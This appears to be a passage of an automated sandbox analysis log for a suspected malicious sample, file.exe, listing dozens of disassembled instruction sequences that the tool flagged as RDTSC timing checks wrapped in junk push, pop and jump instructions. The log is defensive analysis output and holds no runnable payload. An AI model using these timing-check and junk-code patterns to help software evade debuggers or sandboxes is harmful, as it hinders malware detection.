Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EC6BD second address: 12EC6C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EC6C7 second address: 12EC6DB instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1DD489F596h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EC6DB second address: 12EC6DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EC6DF second address: 12EC6F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1DD489F59Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EC6F8 second address: 12EC705 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F1DD4808486h 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EF896 second address: 12EF89A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EF89A second address: 12EF8A2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EF8A2 second address: 12EF8BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1DD489F5A0h 0x00000008 push edi 0x00000009 pop edi 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12662DE second address: 12662F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1DD480848Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12662F2 second address: 12662F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12662F6 second address: 1266301 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F8D0B second address: 12F8D11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F82C6 second address: 12F82CE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F840F second address: 12F8416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F8711 second address: 12F871B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1DD4808486h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F871B second address: 12F8721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F8721 second address: 12F8727 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F88C4 second address: 12F88CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FB22B second address: 12FB231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FB231 second address: 12FB235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FB235 second address: 12FB23B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FB3B5 second address: 12FB3BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FB3BB second address: 12FB3BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FB3BF second address: 12FB3C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FB3C5 second address: 12FB407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push edi 0x00000008 push esi 0x00000009 jmp 00007F1DD4808490h 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1DD480848Eh 0x00000016 jmp 00007F1DD4808498h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FB407 second address: 12FB41C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F5A1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FB576 second address: 12FB57D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FB57D second address: 12FB582 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FB582 second address: 12FB58A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FB8A3 second address: 12FB8A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FB8A7 second address: 12FB8D7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1DD4808486h 0x00000008 jmp 00007F1DD480848Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F1DD4808495h 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 push edi 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12738FF second address: 1273921 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F1DD489F59Ah 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F1DD489F596h 0x00000014 jmp 00007F1DD489F59Ah 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FFC5A second address: 12FFC5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FFE07 second address: 12FFE1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F1DD489F596h 0x0000000a popad 0x0000000b jnc 00007F1DD489F59Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FFF8D second address: 12FFF91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130055C second address: 130059F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F5A3h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c jns 00007F1DD489F5C3h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F1DD489F5A7h 0x00000019 jmp 00007F1DD489F59Ah 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130059F second address: 13005A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1300EFC second address: 1300F01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13081AA second address: 13081AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13081AE second address: 13081D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1DD489F5A6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13081D1 second address: 13081EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1DD480848Dh 0x0000000d je 00007F1DD4808486h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130639A second address: 13063C0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F1DD489F5A8h 0x0000000c jmp 00007F1DD489F5A2h 0x00000011 push eax 0x00000012 push edx 0x00000013 jnl 00007F1DD489F596h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13063C0 second address: 13063DE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F1DD4808495h 0x0000000f push esi 0x00000010 pop esi 0x00000011 jmp 00007F1DD480848Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130653B second address: 1306555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F1DD489F5A2h 0x0000000e jc 00007F1DD489F596h 0x00000014 jg 00007F1DD489F596h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1306555 second address: 1306577 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F1DD4808498h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1306D2C second address: 1306D42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F1DD489F59Dh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130728C second address: 13072A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD4808493h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13072A3 second address: 13072AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13072AB second address: 13072D9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1DD4808486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f jmp 00007F1DD480848Dh 0x00000014 pushad 0x00000015 popad 0x00000016 pop ecx 0x00000017 jmp 00007F1DD480848Fh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1307909 second address: 130791B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F1DD489F596h 0x0000000a pop edx 0x0000000b pop esi 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130791B second address: 1307955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F1DD4808486h 0x0000000a jmp 00007F1DD480848Dh 0x0000000f popad 0x00000010 js 00007F1DD480849Ah 0x00000016 push eax 0x00000017 push edx 0x00000018 jnc 00007F1DD4808486h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1307C1F second address: 1307C2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1DD489F59Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1307C2D second address: 1307C31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1310E45 second address: 1310E55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 jno 00007F1DD489F596h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1310E55 second address: 1310E5F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1DD480848Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13104F2 second address: 13104F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13106A8 second address: 13106AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13106AC second address: 13106B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13106B5 second address: 13106D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F1DD4808496h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13106D2 second address: 13106DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13106DA second address: 13106DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131690B second address: 1316925 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F5A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1316BC1 second address: 1316BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1316FAD second address: 1316FB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13172C8 second address: 13172CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13172CE second address: 13172DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F59Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1317AD6 second address: 1317ADA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13181DD second address: 13181E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131F46A second address: 131F481 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD480848Ch 0x00000007 pushad 0x00000008 js 00007F1DD4808486h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132A384 second address: 132A396 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1DD489F596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jno 00007F1DD489F598h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132A396 second address: 132A39E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132A39E second address: 132A3A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132A3A2 second address: 132A3AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132A3AE second address: 132A3D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1DD489F5A5h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F1DD489F596h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1330174 second address: 1330192 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007F1DD4808495h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133B000 second address: 133B004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133B004 second address: 133B00E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B4C2 second address: 126B4C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B4C6 second address: 126B4CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1347BF0 second address: 1347BFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1347BFA second address: 1347BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1347BFF second address: 1347C13 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1DD489F59Eh 0x00000008 jo 00007F1DD489F596h 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1347C13 second address: 1347C27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F1DD4808486h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134833B second address: 1348369 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1DD489F59Dh 0x0000000b jo 00007F1DD489F59Ch 0x00000011 jc 00007F1DD489F596h 0x00000017 popad 0x00000018 jo 00007F1DD489F5A8h 0x0000001e push eax 0x0000001f push edx 0x00000020 jnp 00007F1DD489F596h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13484EA second address: 1348519 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1DD4808495h 0x00000011 jmp 00007F1DD480848Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1348640 second address: 1348655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jp 00007F1DD489F5B8h 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jl 00007F1DD489F596h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C713 second address: 134C735 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1DD4808497h 0x00000008 jnl 00007F1DD4808486h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C735 second address: 134C740 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C740 second address: 134C74A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1DD4808486h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C875 second address: 134C87F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F1DD489F596h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C87F second address: 134C8CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD4808490h 0x00000007 jmp 00007F1DD4808499h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 jmp 00007F1DD4808490h 0x00000018 pushad 0x00000019 popad 0x0000001a pop ebx 0x0000001b pushad 0x0000001c jl 00007F1DD4808486h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C8CD second address: 134C8D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F1DD489F596h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C8D8 second address: 134C8DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135C913 second address: 135C933 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1DD489F596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F1DD489F5A3h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135EF5B second address: 135EF9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F1DD4808498h 0x00000012 jmp 00007F1DD480848Fh 0x00000017 push eax 0x00000018 push edx 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b jmp 00007F1DD480848Ch 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1356A7F second address: 1356A8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jnp 00007F1DD489F596h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1356A8E second address: 1356A92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
